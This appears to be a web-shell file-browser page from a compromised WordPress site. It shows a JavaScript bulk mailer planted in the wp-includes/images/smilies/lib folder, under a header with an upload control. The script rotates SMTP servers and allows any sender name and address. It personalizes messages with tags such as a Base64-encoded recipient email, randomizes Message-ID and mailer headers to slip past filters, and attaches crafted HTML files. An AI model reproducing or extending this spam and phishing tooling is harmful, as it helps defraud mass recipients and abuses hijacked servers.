Your IP : 216.73.216.40


Current Path : /home/ladengineer/public_html/wp-includes/images/smilies/lib/
Upload File :
Current File : /home/ladengineer/public_html/wp-includes/images/smilies/lib/script.js

document.addEventListener('DOMContentLoaded', () => {
  // ==================== Element References ====================
  const useSmtpCheckbox = document.getElementById('useSmtp');
  const smtpModal = document.getElementById('smtpModal');
  const closeModalBtn = document.getElementById('closeModal');
  const useHtmlAttachmentCheckbox = document.getElementById('useHtmlAttachment');
  const htmlAttachmentSection = document.querySelector('.html-attachment');
  const sendBtn = document.getElementById('sendBtn');
  const smtpTableBody = document.querySelector('#smtpTable tbody');
  const addSmtpBtn = document.getElementById('addSmtp');
  const testSmtpBtn = document.getElementById('testSmtp');
  const senderNameInput = document.getElementById('senderName');
  const senderEmailInput = document.getElementById('senderEmail');
  const replyToInput = document.getElementById('replyTo');
  const attachmentInput = document.getElementById('attachment');
  const htmlAttachmentContentInput = document.getElementById('htmlAttachmentContent');
  const htmlAttachmentNameInput = document.getElementById('htmlAttachmentName');
  const htmlAttachmentExtInput = document.getElementById('htmlAttachmentExt');
  const recipientEmailsInput = document.getElementById('recipientEmails');
  const emailSubjectInput = document.getElementById('emailSubject');
  const emailTemplateInput = document.getElementById('emailTemplate');
  const csrfTokenInput = document.getElementById('csrfToken');
  const consentCheckbox = document.getElementById('consent');
  const threadCountInput = document.getElementById('threadCount');

  const previewBtn = document.getElementById('previewBtn');
  const previewModal = document.getElementById('previewModal');
  const closePreviewModalBtn = document.getElementById('closePreviewModal');
  const previewContent = document.getElementById('previewContent');

  // Sending Modal Elements
  const sendingModal = document.getElementById('sendingModal');
  const sendingStatus = document.getElementById('sendingStatus');
  const closeSendingModalBtn = document.getElementById('closeSendingModal');
  const pauseBtn = document.getElementById('pauseBtn');
  const resumeBtn = document.getElementById('resumeBtn');
  const stopBtn = document.getElementById('stopBtn');
  const sendingSummary = document.getElementById('sendingSummary');
  const summaryText = document.getElementById('summaryText');

  let progressBar;
  let smtpSettings = [];
  let isPaused = false;
  let isStopped = false;
  let processedCount = 0;

  // Generate CSRF token
  csrfTokenInput.value = crypto.randomUUID();

  // Initialize tooltips
  tippy('[data-tippy-content]');

  // Initialize Progress Bar
  function initProgressBar() {
    if (progressBar) progressBar.destroy();
    progressBar = new ProgressBar.Line('#progressBar', {
      strokeWidth: 6,
      color: '#00bfff',
      duration: 800,
      easing: 'easeInOut',
      trailColor: '#eee',
      trailWidth: 2,
      svgStyle: { width: '100%', height: '8px' }
    });
    progressBar.set(0);
  }

  // ==================== SMTP Settings ====================
  function loadSmtpSettings() {
    const saved = localStorage.getItem('smtpSettings');
    if (saved) {
      try {
        smtpSettings = JSON.parse(saved);
        smtpSettings.forEach(setting => addSmtpSettingToTable(setting));
        const hasEnabled = smtpSettings.some(setting => setting.use);
        if (hasEnabled) {
          useSmtpCheckbox.checked = true;
          localStorage.setItem('smtpEnabled', 'true');
        }
      } catch (e) {
        console.error('Failed to load SMTP settings:', e);
      }
    }
  }

  function saveSmtpSettings() {
    localStorage.setItem('smtpSettings', JSON.stringify(smtpSettings));
  }

  loadSmtpSettings();

  if (localStorage.getItem('smtpEnabled') === 'true') {
    useSmtpCheckbox.checked = true;
  }

  // SMTP Modal Events
  useSmtpCheckbox.addEventListener('change', () => {
    localStorage.setItem('smtpEnabled', useSmtpCheckbox.checked);
    smtpModal.classList.toggle('hidden', !useSmtpCheckbox.checked);
  });

  closeModalBtn.addEventListener('click', () => {
    smtpModal.classList.add('hidden');
    useSmtpCheckbox.checked = false;
  });

  smtpModal.addEventListener('click', (e) => {
    if (e.target === smtpModal) {
      smtpModal.classList.add('hidden');
      useSmtpCheckbox.checked = false;
    }
  });

  useHtmlAttachmentCheckbox.addEventListener('change', () => {
    htmlAttachmentSection.classList.toggle('hidden', !useHtmlAttachmentCheckbox.checked);
  });

  // Preview Modal
  previewBtn.addEventListener('click', () => {
    const sampleRecipient = 'example@domain.com';
    const previewData = {
      senderName: replaceTags(senderNameInput.value.trim(), { email: sampleRecipient }),
      senderEmail: replaceTags(senderEmailInput.value.trim(), { email: sampleRecipient }),
      replyTo: replaceTags(replyToInput.value.trim(), { email: sampleRecipient }),
      subject: replaceTags(emailSubjectInput.value.trim(), { email: sampleRecipient }),
      body: replaceTags(emailTemplateInput.value.trim(), { email: sampleRecipient }),
    };
    previewContent.innerHTML = `
      <p><strong>Sender Name:</strong> ${previewData.senderName}</p>
      <p><strong>Sender Email:</strong> ${previewData.senderEmail}</p>
      <p><strong>Reply-To:</strong> ${previewData.replyTo || 'None'}</p>
      <p><strong>Subject:</strong> ${previewData.subject}</p>
      <p><strong>Body:</strong></p>
      <div>${previewData.body}</div>
    `;
    previewModal.classList.remove('hidden');
  });

  closePreviewModalBtn.addEventListener('click', () => previewModal.classList.add('hidden'));
  previewModal.addEventListener('click', (e) => {
    if (e.target === previewModal) previewModal.classList.add('hidden');
  });

  // ==================== Sending Controls ====================
  pauseBtn.addEventListener('click', () => {
    isPaused = true;
    pauseBtn.classList.add('hidden');
    resumeBtn.classList.remove('hidden');
    sendingStatus.innerHTML += '<br><span style="color:orange;">● Paused</span>';
  });

  resumeBtn.addEventListener('click', () => {
    isPaused = false;
    resumeBtn.classList.add('hidden');
    pauseBtn.classList.remove('hidden');
    sendingStatus.innerHTML = sendingStatus.innerHTML.replace(/<br><span style="color:orange;">● Paused<\/span>/, '');
  });

  stopBtn.addEventListener('click', () => {
    if (confirm('Stop sending? Remaining emails will not be sent.')) {
      isStopped = true;
      sendingModal.classList.add('hidden');
    }
  });

  closeSendingModalBtn.addEventListener('click', () => {
    if (confirm('Close progress window? Sending will be stopped.')) {
      isStopped = true;
      sendingModal.classList.add('hidden');
    }
  });

  // ==================== SMTP Functions ====================
  function getSmtpFormData() {
    const host = document.getElementById('smtp_host').value.trim();
    const port = document.getElementById('smtp_port').value.trim();
    const user = document.getElementById('smtp_user').value.trim();
    const pass = document.getElementById('smtp_pass').value.trim();
    const encrypt = document.getElementById('smtp_encrypt').value;
    const senderName = document.getElementById('smtp_sender_name').value.trim();
    const senderEmail = document.getElementById('smtp_sender_email').value.trim();
    const recipientEmail = document.getElementById('smtp_recipient_email').value.trim();
    if (!host || !port || !user || !pass || !senderName || !senderEmail || !recipientEmail) {
      alert('Please fill all SMTP fields.');
      return null;
    }
    return { host, port, user, pass, encrypt, senderName, senderEmail, recipientEmail };
  }

  function addSmtpSetting({ host, port, user, pass, encrypt }) {
    const newSetting = { host, port, user, pass, encrypt, use: true };
    smtpSettings.push(newSetting);
    addSmtpSettingToTable(newSetting);
    saveSmtpSettings();
    useSmtpCheckbox.checked = true;
    localStorage.setItem('smtpEnabled', 'true');
  }

  function addSmtpSettingToTable(setting) {
    const newRow = document.createElement('tr');
    newRow.innerHTML = `
      <td><input type="checkbox" class="smtp-use-checkbox" ${setting.use ? 'checked' : ''}></td>
      <td>${setting.host}</td>
      <td>${setting.port}</td>
      <td>${setting.user}</td>
      <td>${setting.encrypt.toUpperCase()}</td>
      <td><button class="smtp-remove-btn">Remove</button></td>
    `;
    smtpTableBody.appendChild(newRow);

    const useCheckbox = newRow.querySelector('.smtp-use-checkbox');
    useCheckbox.addEventListener('change', (e) => {
      const index = Array.from(smtpTableBody.children).indexOf(newRow);
      if (index >= 0) smtpSettings[index].use = e.target.checked;
      saveSmtpSettings();
    });

    newRow.querySelector('.smtp-remove-btn').addEventListener('click', () => {
      const index = Array.from(smtpTableBody.children).indexOf(newRow);
      if (index >= 0) smtpSettings.splice(index, 1);
      saveSmtpSettings();
      newRow.remove();
    });
  }

  function resetSmtpForm() {
    ['smtp_host', 'smtp_port', 'smtp_user', 'smtp_pass', 'smtp_sender_name', 'smtp_sender_email', 'smtp_recipient_email']
      .forEach(id => document.getElementById(id).value = '');
    document.getElementById('smtp_encrypt').value = 'tls';
  }

  async function testSmtpConnection(smtpData) {
    try {
      const response = await fetch('smtp_test.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(smtpData)
      });
      if (!response.ok) throw new Error(`Network error: ${response.status}`);
      const data = await response.json();
      if (!data.success) throw new Error(data.message || 'SMTP test failed');
      return true;
    } catch (err) {
      throw new Error(err.message || 'SMTP test failed');
    }
  }

  addSmtpBtn.addEventListener('click', () => {
    const smtpData = getSmtpFormData();
    if (!smtpData) return;
    testSmtpConnection(smtpData)
      .then(success => {
        if (success) {
          addSmtpSetting(smtpData);
          resetSmtpForm();
          smtpModal.classList.add('hidden');
          useSmtpCheckbox.checked = false;
        }
      })
      .catch(err => alert('SMTP Test Failed: ' + err.message));
  });

  testSmtpBtn.addEventListener('click', () => {
    const smtpData = getSmtpFormData();
    if (!smtpData) return;
    testSmtpConnection(smtpData)
      .then(success => alert(success ? 'SMTP test successful!' : 'SMTP test failed.'))
      .catch(err => alert('SMTP Test Error: ' + err.message));
  });

  // ==================== Utility Functions ====================
  function capitalizeFirstLetter(str) {
    if (!str) return '';
    return str.charAt(0).toUpperCase() + str.slice(1);
  }

  function generateMD5() {
    const str = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
    return CryptoJS.MD5(str).toString();
  }

  function getShortDate() {
    const d = new Date();
    return `${String(d.getDate()).padStart(2, '0')}/${String(d.getMonth() + 1).padStart(2, '0')}/${d.getFullYear()}`;
  }

  function getLongDate() {
    const d = new Date();
    const days = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];
    const months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
    return `${days[d.getDay()]}, ${String(d.getDate()).padStart(2, '0')} ${months[d.getMonth()]} ${d.getFullYear()}`;
  }

  function getShortTime() {
    const d = new Date();
    let hours = d.getHours();
    const minutes = d.getMinutes();
    const ampm = hours >= 12 ? 'PM' : 'AM';
    hours = hours % 12 || 12;
    return `${String(hours).padStart(2, '0')}:${String(minutes).padStart(2, '0')} ${ampm}`;
  }

  function getLongTime() {
    const d = new Date();
    const days = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];
    const months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
    return `${String(d.getHours()).padStart(2, '0')}:${String(d.getMinutes()).padStart(2, '0')} ${days[d.getDay()]}, ${String(d.getDate()).padStart(2, '0')} ${months[d.getMonth()]} ${d.getFullYear()}`;
  }

  function getRandomNumber(len) {
    let result = '';
    for (let i = 0; i < len; i++) result += Math.floor(Math.random() * 10);
    return result;
  }

  function getRandomLettersCase(len, upper) {
    const letters = 'abcdefghijklmnopqrstuvwxyz';
    let result = '';
    for (let i = 0; i < len; i++) result += letters.charAt(Math.floor(Math.random() * letters.length));
    return upper ? result.toUpperCase() : result;
  }

  function getRandomMixedCase(len, upper) {
    const chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    let result = '';
    for (let i = 0; i < len; i++) result += chars.charAt(Math.floor(Math.random() * chars.length));
    return upper ? result.toUpperCase() : result;
  }

  function extractHost(domain) {
    if (!domain) return '';
    const parts = domain.split('.');
    return parts.length >= 2 ? parts[parts.length - 2] : domain;
  }

  function replaceTags(template, data) {
    if (!data.email) return template;
    const email = data.email;
    const [localRaw, fullDomainRaw] = email.split('@');
    const local = localRaw || '';
    const domainRaw = fullDomainRaw || '';
    const hostRaw = extractHost(domainRaw);
    const base64Email = btoa(email);

    let result = template;
    result = result.replace(/\[Base64email\]/gi, base64Email);
    result = result.replace(/\[ShortTime\]/gi, getShortTime());
    result = result.replace(/\[LongTime\]/gi, getLongTime());

    result = result.replace(/\[(randomletter(\d+))\]/gi, (match, tagName, num) => {
      const len = parseInt(num, 10) || 4;
      const isUpper = (match === match.toUpperCase());
      return getRandomLettersCase(len, isUpper);
    });

    result = result.replace(/\[(randommixed(\d+))\]/gi, (match, tagName, num) => {
      const len = parseInt(num, 10) || 8;
      const isUpper = (match === match.toUpperCase());
      return getRandomMixedCase(len, isUpper);
    });

    result = result.replace(/\[(RandomNumber(\d+))\]/gi, (match, tagName, num) => {
      let len = parseInt(num, 10) || 6;
      if (len < 1 || len > 10) len = 6;
      return getRandomNumber(len);
    });

    const replacements = {
      '[Email]': email,
      '[email]': email.toLowerCase(),
      '[Host]': capitalizeFirstLetter(hostRaw),
      '[host]': hostRaw.toLowerCase(),
      '[Domain]': capitalizeFirstLetter(domainRaw),
      '[domain]': domainRaw.toLowerCase(),
      '[User]': capitalizeFirstLetter(local),
      '[user]': local.toLowerCase(),
      '[shortdate]': getShortDate(),
      '[longdate]': getLongDate(),
      '[MD5]': generateMD5(),
    };

    for (const tag in replacements) {
      const re = new RegExp(tag.replace(/[[\]]/g, '\\$&'), 'g');
      result = result.replace(re, replacements[tag]);
    }
    return result;
  }

  function validateEmail(email) {
    const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return re.test(email);
  }

  function validateForm() {
    const recipients = recipientEmailsInput.value.trim().split(/[\n,]+/).map(r => r.trim()).filter(r => r);
    if (recipients.length === 0) {
      alert('Please enter at least one valid recipient email.');
      return false;
    }
    for (const email of recipients) {
      if (!validateEmail(email)) {
        alert(`Invalid email: ${email}`);
        return false;
      }
    }
    if (!senderNameInput.value.trim()) { alert('Please enter a sender name.'); return false; }
    if (replyToInput.value.trim() && !validateEmail(replyToInput.value.trim())) {
      alert('Please enter a valid reply-to email or leave it empty.');
      return false;
    }
    if (!emailSubjectInput.value.trim()) { alert('Please enter an email subject.'); return false; }
    if (!emailTemplateInput.value.trim()) { alert('Please enter an email body.'); return false; }
    if (!consentCheckbox.checked) { alert('Please confirm consent before sending.'); return false; }
    return true;
  }

  function readFileAsText(file) {
    return new Promise((resolve, reject) => {
      const reader = new FileReader();
      reader.onload = (event) => resolve(event.target.result);
      reader.onerror = (error) => reject(error);
      reader.readAsText(file);
    });
  }

  // ==================== FIXED Main Send Function ====================
  sendBtn.addEventListener('click', async (e) => {
    e.preventDefault();
    if (!validateForm()) return;

    // Reset flags
    isPaused = false;
    isStopped = false;
    processedCount = 0;

    // Show modal
    sendingModal.classList.remove('hidden');
    sendingStatus.textContent = 'Preparing to send emails...';
    sendingSummary.classList.add('hidden');
    pauseBtn.classList.remove('hidden');
    resumeBtn.classList.add('hidden');

    initProgressBar();

    const recipients = recipientEmailsInput.value.trim()
      .split(/[\n,]+/)
      .map(r => r.trim())
      .filter(r => r.length > 0);

    const totalEmails = recipients.length;
    const threadCount = parseInt(threadCountInput.value, 10) || 5;
    const smtpEnabled = useSmtpCheckbox.checked;
    const selectedSmtpSettings = smtpSettings.filter(s => s.use);

    if (smtpEnabled && selectedSmtpSettings.length === 0) {
      alert('Please select at least one SMTP setting or disable SMTP.');
      sendingModal.classList.add('hidden');
      return;
    }

    let successCount = 0;
    let failCount = 0;

    try {
      for (let i = 0; i < totalEmails; i += threadCount) {
        if (isStopped) break;

        // Pause handling
        while (isPaused && !isStopped) {
          await new Promise(resolve => setTimeout(resolve, 300));
        }
        if (isStopped) break;

        const batch = recipients.slice(i, i + threadCount);

        const batchPromises = batch.map(async (recipientEmail, batchIndex) => {
          const globalIndex = i + batchIndex;
          const currentCount = globalIndex + 1;

          // Updated progress counter
          sendingStatus.textContent = `Sending ${currentCount}/${totalEmails} to ${recipientEmail}...`;

          const smtpToUse = smtpEnabled 
            ? selectedSmtpSettings[globalIndex % selectedSmtpSettings.length] 
            : null;

          const customHeaders = {
            'Message-ID': `<${generateMD5()}@${Math.random().toString(36).substring(2)}.com>`,
            'X-Mailer': `Mailer-${getRandomMixedCase(8, false)}`,
            'X-Priority': Math.floor(Math.random() * 3) + 1,
            'X-Random-Tag': getRandomNumber(10),
          };

          const result = await sendEmailSingle(recipientEmail, smtpToUse, customHeaders, smtpEnabled);

          if (result.success) successCount++;
          else failCount++;

          processedCount++;
          const progress = processedCount / totalEmails;
          progressBar.animate(Math.min(progress, 1));

          return result;
        });

        await Promise.all(batchPromises);
      }

      // Sending Completed
      sendingStatus.textContent = `Sending Completed! (${processedCount}/${totalEmails})`;

      summaryText.innerHTML = `
        Total Emails: <strong>${totalEmails}</strong><br>
        Successful: <span style="color:green;">${successCount}</span><br>
        Failed: <span style="color:red;">${failCount}</span>
      `;
      sendingSummary.classList.remove('hidden');

    } catch (err) {
      console.error(err);
      sendingStatus.innerHTML = `Error occurred: ${err.message}`;
    }
  });

  // ==================== Send Single Email ====================
  async function sendEmailSingle(recipientEmail, smtpSetting, customHeaders, smtpEnabled) {
    const subject = replaceTags(emailSubjectInput.value.trim(), { email: recipientEmail });
    const body = replaceTags(emailTemplateInput.value.trim(), { email: recipientEmail });
    const resolved_SenderEmail = replaceTags(senderEmailInput.value.trim(), { email: recipientEmail });
    const resolved_SenderName = replaceTags(senderNameInput.value.trim(), { email: recipientEmail });
    const resolved_ReplyTo = replaceTags(replyToInput.value.trim(), { email: recipientEmail });

    let attachmentData = null;
    let htmlAttachmentData = null;

    if (attachmentInput.files.length > 0) {
      try {
        const fileContent = await readFileAsText(attachmentInput.files[0]);
        const replacedContent = replaceTags(fileContent, { email: recipientEmail });
        const base64 = btoa(unescape(encodeURIComponent(replacedContent)));
        attachmentData = {
          base64: base64,
          filename: replaceTags(attachmentInput.files[0].name, { email: recipientEmail }),
          mimeType: attachmentInput.files[0].type
        };
      } catch (err) {
        console.error('Attachment error:', err);
        return { success: false, error: 'Attachment failed' };
      }
    }

    if (useHtmlAttachmentCheckbox.checked) {
      const content = replaceTags(htmlAttachmentContentInput.value.trim(), { email: recipientEmail });
      const filename = replaceTags(htmlAttachmentNameInput.value.trim() + '.' + htmlAttachmentExtInput.value.trim(), { email: recipientEmail });
      htmlAttachmentData = { content, filename };
    }

    const emailData = {
      senderName: resolved_SenderName,
      senderEmail: resolved_SenderEmail,
      subject: subject,
      recipients: [recipientEmail],
      emailBody: body,
      emailFormat: document.getElementById('formatHtml').checked ? 'html' : 'plain',
      useSmtp: smtpEnabled && smtpSetting ? true : false,
      smtpSettings: smtpEnabled && smtpSetting ? [smtpSetting] : [],
      attachment: attachmentData,
      htmlAttachment: htmlAttachmentData,
      customHeaders: customHeaders,
      csrfToken: csrfTokenInput.value
    };

    if (resolved_ReplyTo && validateEmail(resolved_ReplyTo)) {
      emailData.replyTo = resolved_ReplyTo;
    }

    try {
      const response = await fetch('send_json.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(emailData)
      });
      if (!response.ok) throw new Error(`HTTP error: ${response.status}`);
      const result = await response.json();
      return { success: result.success === true, error: result.message };
    } catch (err) {
      return { success: false, error: err.message };
    }
  }
});